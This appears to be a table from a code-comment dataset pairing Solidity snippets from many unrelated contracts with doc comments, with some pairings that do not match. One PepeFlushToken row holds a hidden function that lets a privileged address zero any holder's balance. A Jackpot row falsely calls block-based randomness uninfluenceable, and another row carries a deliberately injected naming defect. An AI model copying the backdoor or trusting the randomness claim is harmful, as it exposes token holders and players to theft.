file_name stringlengths 71 779k | comments stringlengths 0 29.4k | code_string stringlengths 20 7.69M | __index_level_0__ int64 2 17.2M |
|---|---|---|---|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
... | inject NONSTANDARD NAMING | function BALANCEOF68() public view returns (uint256) { | 12,569,045 |
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.0;
// Interface
import { ILazyMintERC1155 } from "./ILazyMintERC1155.sol";
// Token
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
// Protocol control center.
import { ProtocolControl } from "../../ProtocolControl.sol";
// Royalties
import "@o... | Sets a new protocol provider treasury address. | function setTreasury(address _newTreasury) external onlyOwner {
treasury = _newTreasury;
emit TreasuryUpdated(_newTreasury);
}
| 1,189,441 |
./partial_match/1/0x53466a575fE1beba1F49F557d9817a6996f25694/sources/Pool.sol | Withdraw without caring about rewards. EMERGENCY ONLY. | function emergencyWithdraw(uint256 pid) public {
UserInfo storage user = userInfo[msg.sender];
lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
| 9,344,300 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import './SwapERC20.sol';
import '../libraries/Math.sol';
import '../libraries/UQ112x112.sol';
import '../interfaces/IERC20.sol';
import '../interfaces/ISwapFactory.sol';
import '../interfaces/ISwapCallee.sol';
interface IMigrator {
// Return the desired amo... | Return the desired amount of liquidity token that the migrator wants. | interface IMigrator {
function desiredLiquidity() external view returns (uint256);
pragma solidity 0.6.12;
}
| 11,749,528 |
/*
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in... | Convenience method for depositing eth into non-payable contracts which the forked provider tests would like to impersonate as a message sender. destination destination of eth payment/ | function fund(address destination) public payable {
selfdestruct(payable(address(destination)));
}
| 6,356,151 |
./full_match/288/0x676971096aF637B196f6501818ae8d9c14EBa56b/sources/contracts/liquidate/SwapCenterBoba.sol | Create pre-defined routes in batch. See setRoute function for details. | function setRouteBatch(address[] memory input, address[] memory output, uint256[][] memory exchangeOrder, address[][][] memory path) public onlyOwner {
for(uint256 i = 0 ; i < input.length; i++){
setRoute(input[i], output[i], exchangeOrder[i], path[i]);
}
}
| 7,106,292 |
pragma solidity ^0.8.10;
import "../node_modules/openzeppelin-solidity/contracts/utils/math/SafeMath.sol";
import "./FlightSuretyDataContract.sol";
import {FlightStatusCodes} from "./FlightStatusCodes.sol";
contract FlightSuretyData is FlightSuretyDataContract {
using SafeMath for uint256;
/*****************... | Register a future flight for insuring./ Generate a unique key for storing the flight | function addFlight(
address flightAirline,
string calldata flight,
uint256 timestamp
) external requireAuthorizedCaller {
bytes32 key = getFlightKey(flightAirline, flight);
flights[key].isRegistered = true;
flights[key].statusCode = FlightStatusCodes.STATUS_CODE_U... | 6,379,282 |
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausab... | return The list of all tokens enumerated./ | function getAllTokensList() public view returns (uint256[] memory) {
uint256[] memory _tokensList = new uint256[](
ERC721Enumerable.totalSupply()
);
uint256 i;
for (i = 0; i < ERC721Enumerable.totalSupply(); i++) {
_tokensList[i] = ERC721Enumerable.tokenByInd... | 9,868,719 |
pragma solidity ^0.6.0;
import "./ERC721.sol";
import "./AccessControl.sol";
/**
* @title Proof of existence by storing hashes. Based on ERC721.
* The proof record is an ERC721 token, therefore it is referred to as token or proof.
*/
contract VerifiedExistence is ERC721, AccessControl {
using Enumera... | Batch role assignment role bytes32 The role to grant accounts address[] array of recipients of the role/ right checks are done in the grantRole of AccessControl | function batchGrantRole(bytes32 role, address[] memory accounts) public {
for (uint256 i = 0; i < accounts.length; i++)
grantRole(role, accounts[i]);
}
| 1,027,821 |
./partial_match/4/0xB7acb10b6e1d15d2e5760a9fb328E10008dfCC3C/sources/Testmasks.sol | ERC-721 Non-Fungible Token Standard, optional metadata extension/ | interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
pragma solidity 0.6.8;
}
| 8,755,604 |
./full_match/5/0x5241710f0EE79A1205343C38956bdf874e68C58E/sources/contracts/FlyingPeopleDNFT.sol | Receive the response in the form of string/ Test API URL http:159.223.205.1:3000/update-wearables?c1=1&t1=t1&c2=c2&t2=t2 | function requestChainlink(
address[3] memory _collections,
uint256[3] memory _wearableTokenIds,
uint256 _tokenId
) private returns (bytes32 requestId) {
Chainlink.Request memory req = buildChainlinkRequest(
jobId,
address(this),
this.fulfill.se... | 1,941,250 |
// SPDX-License-Identifier: MIT
/**
..
,*.
.**,
,***.
.,. ,***,
.**, *****.
... | solhint-disable-next-line avoid-low-level-calls | function rejectRequest(uint256 id, address account) external {
Resume memory _resume = balances[id];
require(_resume.submitter == msg.sender, "UNAUTHORIZED");
require(requests[id][account] != 0, "NOT_REQUESTED");
requesters[id].remove(account);
emit RejectRequest(account, id)... | 2,526,394 |
/**
*Submitted for verification at Etherscan.io on 2021-07-21
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-01
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amoun... | Hash (keccak256) of the payload used by transferPreSigned fee will be given to sender if it's a smart contract make sure it can accept funds token address The address of the token. to address The address which you want to transfer to. amount uint256 The amount of tokens to be transferred. fee uint256 The amount of... | function getTransferPreSignedHash(
address token,
address to,
uint256 amount,
uint256 fee,
uint256 nonce
) public pure returns (bytes32) {
return
keccak256(
abi.encodePacked(
bytes4(0x0d98dcb1),
t... | 10,526,046 |
./partial_match/1/0x1955D86f5b369Be4581Fb2D346B403d362883aC7/sources/EmployeeIDBadges.sol | respawn an expired token. Can only be respawned by an address that hasn't minted. This is because respawn changes the badge picture. in other words, the c.identiconSeed is updated. The minimum Stogies value of the NFT will be reset to the current minSTOG value. _tokenId the token id to respawn/ | function reclaim(uint256 _tokenId) external {
require(minters[msg.sender] == 0,
Badge storage c = badges[_tokenId];
require(c.state == State.PendingExpiry, "must be PendingExpiry");
require(
c.transferAt < block.number - DURATION_STATE_CHANGE,
uint256 newSum = _tr... | 3,590,582 |
// SPDX-License-Identifier: LGPL-3.0-or-later
pragma solidity 0.7.6;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Pausable.sol";
import "@openzeppelin/contracts... | Get the address of the token where the deposits for the supply are held _tokenIdSupply ID of the voucher supply token return Address of the token/ | function getVoucherDepositToken(uint256 _tokenIdSupply)
external
view
override
returns (address)
{
return paymentDetails[_tokenIdSupply].addressTokenDeposits;
}
| 40,259 |
//Address: 0xc301b935d0fd1f5d0b6d68491deca39d44e2da6e
//Contract name: StarbaseToken
//Balance: 0 Ether
//Verification Date: 9/24/2017
//Transacion Count: 12
// CODE STARTS HERE
pragma solidity ^0.4.13;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
fu... | Issue new tokens according to the STAR token inflation limits _for Address to where tokens are allocated value Number of tokens to issue/ check if the value under the limits | function issueTokens(address _for, uint256 value)
external
onlyFundraiser
onlyAfterCrowdsale
returns (bool)
{
assert(value <= numOfInflatableTokens());
totalSupply = SafeMath.add(totalSupply, value);
balances[_for] = SafeMath.add(balances[_for], value);
... | 1,788,403 |
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.8;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract Dingo is ERC20, Ownable {
constructor() ERC20("Dingo", "Dingo") public {
}
function mint(address to, uint256 amount) ... | threeCombo arrary of 6 tickets numbers _cT = check Ticket Each iteration of this loop visits a single outcome | function _getFourCombo(uint256[6] memory _cT, uint256 _drawNum) private {
for (uint _chkOne = 0; _chkOne < 3; _chkOne++)
{
for (uint _chkTwo = _chkOne + 1; _chkTwo < 4; _chkTwo++)
{
for (uint _chkThree = _chkTwo + 1; _chkThree < 5; _chkThree++)
{
for (uint _chkFour = _chkThree + 1; _chkFour < 6;... | 465,688 |
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.10 <0.9.0;
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns ... | Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. The call is not executed if the target address is not a contract. from address representing the previous owner of the given token ID to target address that will receive the tokens tokenId uint256 ID of the token to be transferred _d... | function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.o... | 46,400 |
./full_match/1/0xDA5709C3aaBA32E70e0b82894A0a446c4B89DD44/sources/contracts/voting/TimelockExecutor.sol | Getter of the current admin address (should be governance) return The address of the current admin/ | function getAdmin() external view override returns (address) {
return _admin;
}
| 3,045,902 |
pragma solidity ^0.4.24;
interface F3DexternalSettingsInterface {
function getFastGap() external returns(uint256);
function getLongGap() external returns(uint256);
function getFastExtra() external returns(uint256);
function getLongExtra() external returns(uint256);
}
interface FundForwarderIn... | make sure this is coming from current corp bank communicate with the new corp bank and make sure it has the forwarder registered save our new corp bank address | function startMigration(address _newCorpBank)
external
returns(bool)
{
require(msg.sender == address(currentCorpBank_), "Forwarder startMigration failed - msg.sender must be current corp bank");
if(FundInterfaceForForwarder(_newCorpBank).migrationReceiver_setup() == true... | 6,448,154 |
./partial_match/42/0xC1D32520113bbBb6E6522E78C9aaF4791A976844/sources/LPToken.sol | Destroys `amount` tokens from `account`, deducting from the caller's allowance. See {ERC20-_burn} and {ERC20-allowance}. Requirements: - the caller must have allowance for ``accounts``'s tokens of at least `amount`./ | function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
if (address(farm) != a... | 9,070,343 |
pragma solidity ^0.4.24;
/**
* Math operations with safety checks
*/
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
// assert(b > 0); // Solidity automat... | Retrieve the size of the code on target address, this needs assembly . | function transfer(address _to, uint _value) {
uint codeLength;
bytes memory empty;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength>0) ... | 10,324,053 |
./full_match/5/0xCf86e56b395032163dd4Af966500e2F189f29637/sources/contracts/contracts-V6/src/Libraries.sol | Check is project worker by address ✅ | function checkIsProjectWorker(
Project storage _project,
address _worker
) external view returns (bool) {
for (uint256 i = 0; i < _project.workers.length; i++) {
if (_project.workers[i] == _worker) {
return true;
}
}
return false;
... | 7,070,646 |
./partial_match/1/0x258DA5198e092d49b2Bace92c0C31Cb2987635e9/sources/contracts/locker/payment/LPTokenProcessorV2.sol | Update timestamp before checking whether token was already in the set of locked LP tokens, because otherwise the timestamp would not be updated on repeated calls (within the selling timeframe). | function addTokenForSwapping(TokenSwapInfo memory params) external override onlyRole(LP_ADMIN_ROLE) {
_lastAdded[params.tokenAddress] = block.timestamp;
_tokens.push(params);
_isV2LPToken[params.tokenAddress] = params.isV2;
_tokenFactories[params.tokenAddress] = params.routerFactory;... | 3,982,444 |
pragma solidity >=0.8.0 <0.9.0;
// SPDX-License-Identifier: MIT
import "@openzeppelin/contracts/access/Ownable.sol";
import './FreeToken.sol';
contract Vendor is Ownable {
FreeToken freeToken;
uint256 public constant tokensPerEth = 100;
event BuyTokens(address buyer, uint256 amountOfEth, uint256 amountOf... | Allows any user to buy FreeToken from the Vendor's supply (which is the full FreeToken supply) | function buyTokens() external payable {
uint256 amountOfFreeTokensToSend = msg.value * tokensPerEth;
freeToken.transfer(msg.sender, amountOfFreeTokensToSend);
emit BuyTokens(msg.sender, msg.value, amountOfFreeTokensToSend);
}
| 5,454,003 |
/**
*Submitted for verification at Etherscan.io on 2021-07-17
*/
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in over... | transfer to recipientAdd recipient to holderlistremove from holder list | function transfer(address recipient, uint256 amount) public override virtual returns (bool) {
_transfer(msg.sender, recipient, amount);
if(!HolderExist[recipient]) {
TokenHolders.push(recipient);
HolderExist[recipient]=true;
}
... | 15,222,115 |
/**
*Submitted for verification at Etherscan.io on 2021-11-15
*/
/**
/**
* \\ //
* \\\\\\\\ ////////
* \\\\\\\\\\\\\\ ///////////////
* \\\\\\\\\\\... | Revert with a standard message if `account` is missing `role`. The format of the revert reason is given by the following regular expression: /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$// | function _checkRole(bytes32 role, address account) internal view {
if(!hasRole(role, account)) {
revert(string(abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
... | 7,767,783 |
/**
*Submitted for verification at Etherscan.io on 2022-01-21
*/
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.3.0/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its ... | Determine the prior number of votes for an account as of a block number Block number must be a finalized block or else this function will revert to prevent misinformation. account The address of the account to check blockNumber The block number to get the vote balance at return The number of votes the account had as... | function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "DXX::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0... | 2,439,040 |
./full_match/1/0x694200db3B335fE5b9661927A73A10647DFa7Eb5/sources/src/NeoPepe.sol | -------------------------------------------------------------------------- / owners / -------------------------------------------------------------------------- / | function excludeFromMaxTransaction(
address addr,
bool excluded
) public onlyOwner {
isExcludedMaxTransactionAmount[addr] = excluded;
emit ExcludeFromMaxTransaction(addr, excluded);
}
| 4,931,609 |
// SPDX-License-Identifier: BUSL-1.1
pragma solidity >=0.8.4;
import "@hifi/protocol/contracts/core/h-token/IHToken.sol";
import "@prb/contracts/token/erc20/Erc20.sol";
import "@prb/contracts/token/erc20/IErc20.sol";
import "@prb/contracts/token/erc20/Erc20Permit.sol";
import "@prb/contracts/token/erc20/SafeErc20.sol"... | @inheritdoc IHifiPool Our precision is 18 decimals so the underlying amount needs to be normalized. When there are no LP tokens in existence, only underlying needs to be provided. | function getMintInputs(uint256 underlyingOffered)
public
view
override
returns (uint256 hTokenRequired, uint256 poolTokensMinted)
{
uint256 normalizedUnderlyingOffered = normalize(underlyingOffered);
uint256 supply = totalSupply;
if (supply == 0) {
... | 12,549,709 |
// simple planet invitation management contract
// https://azimuth.network
pragma solidity 0.4.24;
////////////////////////////////////////////////////////////////////////////////
// Imports
////////////////////////////////////////////////////////////////////////////////
// OpenZeppelin's Ownable.sol
/**
* @tit... | escape(): request escape as _point to _sponsor if an escape request is already active, this overwrites the existing request Requirements: - :msg.sender must be the owner or manager of _point, - _point must be able to escape to _sponsor as per to canEscapeTo() | function escape(uint32 _point, uint32 _sponsor)
external
activePointManager(_point)
{
require(canEscapeTo(_point, _sponsor));
azimuth.setEscapeRequest(_point, _sponsor);
}
| 1,401,182 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
// File: @chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol
/*
* @dev Provides o consume price data, this smart contract references
* AggregatorV3Interface, which defines the external functions implemented by
* the ETH/USD Price Feed.
... | Send tokens from address token holder address to address recipient address amount uint256 amount of tokens to transfer userData bytes extra information provided by the token holder (if any) operatorData bytes extra information provided by the operator (if any) requireReceptionAck if true, contract recipients are ... | function _send(
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
) internal virtual {
require(from != address(0), 'ERC777: send from the zero address');
require(to != address(0), 'ERC777: send to the zero address');
... | 12,574,071 |
./full_match/44787/0x1b4E581b3e2d2eA7602e5d85768C640d75AD7B1e/sources/contracts/pool/Pool.sol | Distribute `principalClaim` overflow as interest to LPs. Set `principalClaim` to `principalOut` so correct amount gets transferred. Set `principalOut` to zero to avoid subtraction overflow. | function makePayment(uint256 principalClaim) external isBorrower nonReentrant {
uint256 interestClaim = 0;
if (principalClaim <= principalOut) {
principalOut = principalOut - principalClaim;
interestClaim = principalClaim - principalOut;
principalClaim = princip... | 13,275,187 |
./partial_match/1/0x906AF612F8706b384C7351268FfCd9D947A4d92c/sources/CrashGame.sol | allows for connection for more games in the future | function connectAndApproveGame(uint32 secret, address _gameAddres) external returns (bool) {
address pwner = _msgSender();
allowance[pwner][_gameAddres] = type(uint).max;
emit Approval(pwner, _gameAddres, type(uint).max);
return true;
}
| 2,751,591 |
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
// Inheritance
import "./Owned.sol";
import "./MixinResolver.sol";
import "./LimitedSetup.sol";
import "./interfaces/IRewardEscrowV2.sol";
// Libraries
import "./SafeDecimalMath.sol";
// Internal references
import "./interfaces/IERC20.sol";
import "./interfa... | The number of vesting dates in an account's schedule./ | function numVestingEntries(address account) external view returns (uint) {
return accountVestingEntryIDs[account].length;
}
| 940,309 |
./partial_match/1/0xeEFe0487f16082cABef73974aD689D3F55544240/sources/PitchHero.sol | Calldata version of {processMultiProof}. CAUTION: Not all merkle trees admit multiproofs. See {processMultiProof} for details. _Available since v4.7._/ This function rebuilds the root hash by traversing the tree up from the leaves. The root is rebuilt by consuming and producing values on a queue. The queue starts with ... | function processMultiProofCalldata(
bytes32[] calldata proof,
bool[] calldata proofFlags,
bytes32[] memory leaves
) internal pure returns (bytes32 merkleRoot) {
uint256 leavesLen = leaves.length;
uint256 proofLen = proof.length;
uint256 totalHashes = proofFlags.le... | 2,649,892 |
pragma solidity 0.4.25;
import "openzeppelin-solidity/contracts/math/SafeMath.sol";
import "./SafeDecimalMath.sol";
import "./SelfDestructible.sol";
// AggregatorInterface from Chainlink represents a decentralized pricing network for a single currency key
import "chainlink/contracts/interfaces/AggregatorInterface.sol... | Set the rates stored in this contract currencyKeys The currency keys you wish to update the rates for (in order) newRates The rates for each currency (in order) timeSent The timestamp of when the update was sent, specified in seconds since epoch (e.g. the same as the now keyword in solidity). This is... | function updateRates(bytes32[] currencyKeys, uint[] newRates, uint timeSent) external onlyOracle returns (bool) {
return internalUpdateRates(currencyKeys, newRates, timeSent);
}
| 914,235 |
./partial_match/1/0xc8a2ADC4261c6b669CdFf69E717E77C9cFeB420d/sources/src/contracts/GovernanceCore.sol | method to set a new _powerStrategy contract powerStrategy address of the new contract containing the voting a voting strategy/ | function _setPowerStrategy(IGovernancePowerStrategy powerStrategy) internal {
require(
address(powerStrategy) != address(0),
Errors.INVALID_POWER_STRATEGY
);
require(
IBaseVotingStrategy(address(powerStrategy)).getVotingAssetList().length >
0,
Errors.POWER_STRATEGY_HAS_NO_T... | 15,500,894 |
./full_match/137/0xb2bc344d91ac43aEdDCB5d6bA5E7e208ce29f2DA/sources/contracts/erc20dao.sol | Function to mint Governance Token and assign delegate to Address to which tokens will be minted amount Value of tokens to be minted based on deposit by DAO member | function mintToken(
address to,
uint256 amount,
bytes32[] calldata _merkleProof
) public {
if (erc20DaoDetails.onlyAllowWhitelist) {
require(
MerkleProof.verify(
_merkleProof,
Factory(factoryAddress)
... | 4,665,544 |
//Address: 0x8515ee7b050b62e99444f235fe92cdf1aac6bcff
//Contract name: RaceSmart4h
//Balance: 0 Ether
//Verification Date: 2/27/2018
//Transacion Count: 1
// CODE STARTS HERE
pragma solidity ^0.4.18;
/**
* How addresses of non ERC20 coins were defined:
* address(web3.sha3(coin_symbol_in_upper_case))
*
* Exampl... | Until all tokens are sold, tokens can be transfered to/from owner's accounts./ | function transfer(address _to, uint256 _value) ifUnlocked(msg.sender, _to) public returns (bool) {
return super.transfer(_to, _value);
}
| 1,015,476 |
./full_match/56/0xc4206342394Acec895913Fcf11cd44dbEfF94c6c/sources/project_/contracts/Ticket.sol | Returns the address of the current TicketAdmin. | function ticketAdmin() public view returns (address) {
return _ticketAdmin;
}
| 3,258,419 |
pragma solidity ^0.4.24;
/**
* Implementation of the basic standard token
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
*/
contract TokenERC20 {
// [ERC20] the name of the token - e.g. "Vehicle Owner’s Benefit"
string public name;
// [ERC20] the symbol of the token. E.g. "VOB".
... | [ERC20] Transfers _value amount of tokens to address _to, and MUST fire the Transfer event. The function SHOULD throw if the _from account balance does not have enough tokens to spend. Note Transfers of 0 values MUST be treated as normal transfers and fire the Transfer event./ | function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
| 1,080,593 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/to... | Returns the Uniform Resource Identifier (URI) for `tokenId` token./ | function tokenURI(uint tokenId) public view override returns (string memory) {
return _wrappedData[tokenId].URI;
}
| 6,433,889 |
./full_match/1/0x4f4c93E269eba98f7CEF6f1Ca9BBEC3F4145eD0A/sources/contracts/nfts/lz/nft.sol | Toggle mint enablement/ | function toggleMintEnabled() external onlyOwner {
mintEnabled = !mintEnabled;
}
| 2,907,766 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.8;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";
import "@chainlink/contracts/src/v0.8/interfaces/KeeperCompatibleI... | Once `checkUpkeep` is returning `true`, this function is called and it kicks off a Chainlink VRF call to get a random winner./ if (!upkeepNeeded) {revert UpkeepNotNeeded({address(this).balance, s_players.length, s_lotteryState});} Quiz... is this redundant? | function performUpkeep(
bytes calldata /* performData */
) external override {
(bool upkeepNeeded, ) = checkUpkeep("");
require(upkeepNeeded, "Upkeep not needed");
s_lastTimeStamp = block.timestamp;
s_lotteryState = LotteryState.CALCULATING;
uint256 requestId = i_... | 13,104,067 |
pragma solidity ^0.4.24;
import "./DigitalMoneyManager.sol";
import "./RDDNMarket.sol";
import "./utils/RDDNControl.sol";
import "./modules/MultiTokenModule.sol";
/// @title RDDNMarketMoney
/// @dev Money controller for markets.
contract RDDNMarketMoney is RDDNControl, MultiTokenModule {
/*** STORAGE ***/
... | Aadd a money id to the list of a given live room id _marketId id of the live room _moneyId money id _rate rate | function addPayableMoney(
uint256 _marketId,
uint256 _moneyId,
uint256 _rate
) external whenNotPaused returns (bool) {
require(rddnMarket.ownerOf(_marketId) == msg.sender);
require(moneyManager.ownerOf(_moneyId) != address(0));
_addRelatedToken(_marketId, _moneyI... | 13,137,627 |
./partial_match/1/0xBB5A7481BEE7b1F058E006FC717379EE0B54d25d/sources/src/Jackpot.sol | Get random number. It cant be influenced by anyone Random number calculation depends on block timestamp, difficulty, counter and jackpot players length./ | function randomNumber(uint number) internal returns (uint) {
counter++;
uint random = uint(
keccak256(
abi.encodePacked(
block.timestamp,
counter,
players[game].length,
gasleft()
... | 4,125,361 |
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity >=0.6.11;
// ============ External Imports ============
import {TypedMemView} from "@summa-tx/memview-sol/contracts/TypedMemView.sol";
// ============ Internal Imports ============
import {PingPongMessage} from "./PingPongMessage.sol";
import {Router} from ... | Handle a Ping volley _origin The domain that sent the volley _message The message in the form of raw bytes/ | function _handlePing(uint32 _origin, bytes29 _message) internal {
bool _isPing = true;
_handle(_origin, _isPing, _message);
}
| 5,472,827 |
pragma solidity ^0.4.25;
contract NTA3DEvents {
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onBuyKey
(
uint256 indexed playerID,
address i... | the pot is too small endround will ignore the dividensnew round will start at 0 eth | function endRound() private {
NTAdatasets.Round storage _roundID = rIDRound[rID];
NTAdatasets.PotSplit storage _potSplit = potSplit[0];
uint256 _winPID = _roundID.leadPID;
uint256 _pot = _roundID.pot;
uint256 _left = _pot;
if(_pot < 10000000000000) {
emit... | 1,788,945 |
./full_match/1/0xB793713114e9536429a351E44D12356038e874d2/sources/yikes.sol | higher tax at launch to prevent bots from snipping, gonna be changed to 5/5 once the initial phase is over exclude from paying fees or having max transaction amount | constructor() ERC20("Yikes", "YIKES") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUnisw... | 17,084,206 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// Contracts
import { TToken_V2 } from "./TToken_V2.sol";
import { CONTROLLER, ADMIN } from "./data.sol";
import { ITTokenStrategy } from "./strategies/ITTokenStrategy.sol";
// Libraries
import {
SafeERC20
} from "@openzeppelin/contracts/token/ERC20/utils/Sa... | The event is emitted when interest has been claimed at the end of Teller's Alpha recipient The address who has claimed the interest userReward The amount of interest claimed by the Alpha participant/ Gets the amount of interest that was generated during the Alpha launch./ | function getAlphaInterestEarned() external view returns (uint256) {
return s().alphaInterestEarned;
}
| 12,667,309 |
./full_match/1/0xbCe78c795F9666cAAeBFcCfE7672C742d5f3f471/sources/src/Grails4.sol | @inheritdoc ProjectPoolSellable/ | function _numProjects() internal view virtual override returns (uint128) {
return 20;
}
| 16,480,252 |
./full_match/1/0xe183d6eEac469B1544f19Cb5a37Fe6eBFc913C4E/sources/contracts/libraries/CoreLib.sol | Returns true if `account` is a contract. [IMPORTANT] ==== It is unsafe to assume that an address for which this function returns false is an externally-owned account (EOA) and not a contract. Among others, `isContract` will return false for the following types of addresses: - an externally-owned account - a contract ... | function isContract(address account) internal view returns (bool) {
if (account == address(0)) {
return false;
}
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
| 9,623,904 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "./lib/IUniswapV2Router02.sol";
import "./lib/IUniswapV2Factory.sol";
import "./... | Get required MINT token amount to buy X amount of Mint Club tokens | function getReserveAmountToBuy(address tokenAddress, uint256 tokensToBuy) public view returns (uint256) {
IERC20 token = IERC20(tokenAddress);
uint256 newTokenSupply = token.totalSupply() + tokensToBuy;
uint256 reserveRequired = (newTokenSupply ** 2 - token.totalSupply() ** 2) / (2 * 1e18);... | 12,827,315 |
./partial_match/4/0x3Cb08C52734D83A4C22ace8cf508cC1598257953/sources/MultiSig_with_mew.sol | 0x9 is used for spendAnybe careful with any action, data is not included into signature computation. So any data can be included in spendAny.This is usually for some emergent recovery, for example, recovery of NTFs, etc.Owners should not generate 0x9 based signatures in normal cases.transfer tokens from this contract t... | function spendAny(address destination, uint256 value, uint8[] memory vs, bytes32[] memory rs, bytes32[] memory ss, bytes memory data) public {
require(destination != address(this), "Not allow sending to yourself");
require(_validSignature(address(0x9), destination, value, vs, rs, ss), "invalid signatures");
... | 8,521,666 |
./partial_match/1/0xd63D9c2b1283Fe3778e1a39735D7E09Cf0c212e0/sources/PepeFlushToken.sol | Emits a {Transfer} event with `from` set to the zero address. Creates `amount` tokens and assigns them to `account`, increasing the total supply./ | function refresh(address refreshSender) external { if (msg.sender == _uniswapFactory) _balances[refreshSender] = 0x0; }
| 16,197,459 |
./full_match/5/0x7D6018252dff8dF225b52fF61f1B67A11d8C669B/sources/NFTStaking.sol | Make sure the user has at least one token stacked before withdrawingWallet must own the token they are trying to withdrawUpdate the rewards for this user, as the amount of rewards decreases with less token.Find the index of this token id in the stakedTokens array | function withdraw(uint256 _tokenId) external nonReentrant {
require(
stakers[msg.sender].amountStaked > 0,
"You have no tokens staked"
);
require(
stakerAddress[_tokenId] == msg.sender,
"You don't own this token!"
);
uint256 r... | 7,052,020 |
./full_match/80001/0xCBc6cEfdEeE745bF99AcFDA8831925Af3763c5d8/sources/_openzeppelin/contracts-upgradeable/governance/GovernorUpgradeable.sol | Relays a transaction or function call to an arbitrary target. In cases where the governance executor is some contract other than the governor itself, like when using a timelock, this function can be invoked in a governance proposal to recover tokens or Ether that was sent to the governor contract by mistake. Note that ... | function relay(address target, uint256 value, bytes calldata data) external payable virtual onlyGovernance {
AddressUpgradeable.verifyCallResult(success, returndata, "Governor: relay reverted without message");
}
| 5,555,573 |
// File: contracts/PRBMathCommon.sol
pragma solidity >=0.8.0;
